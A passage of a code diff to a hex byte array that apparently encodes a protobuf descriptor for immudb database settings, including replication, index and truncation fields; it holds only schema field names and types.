0x65, 0x73, 0x18, 0x12, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, + 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, - 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, + 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, + 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, + 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, + 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, + 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, + 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, + 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, + 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, + 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, + 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, + 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, + 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, + 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, + 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, + 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, - 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, - 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, - 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, + 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, - 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, - 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, + 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, + 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, + 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, + 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, + 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, + 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, - 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, - 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, + 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, + 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, + 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, - 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, - 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, - 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, - 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, - 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, - 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, - 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, - 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, + 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, + 0x73, 0x65, 0x63, 0x6f, 0x6e, 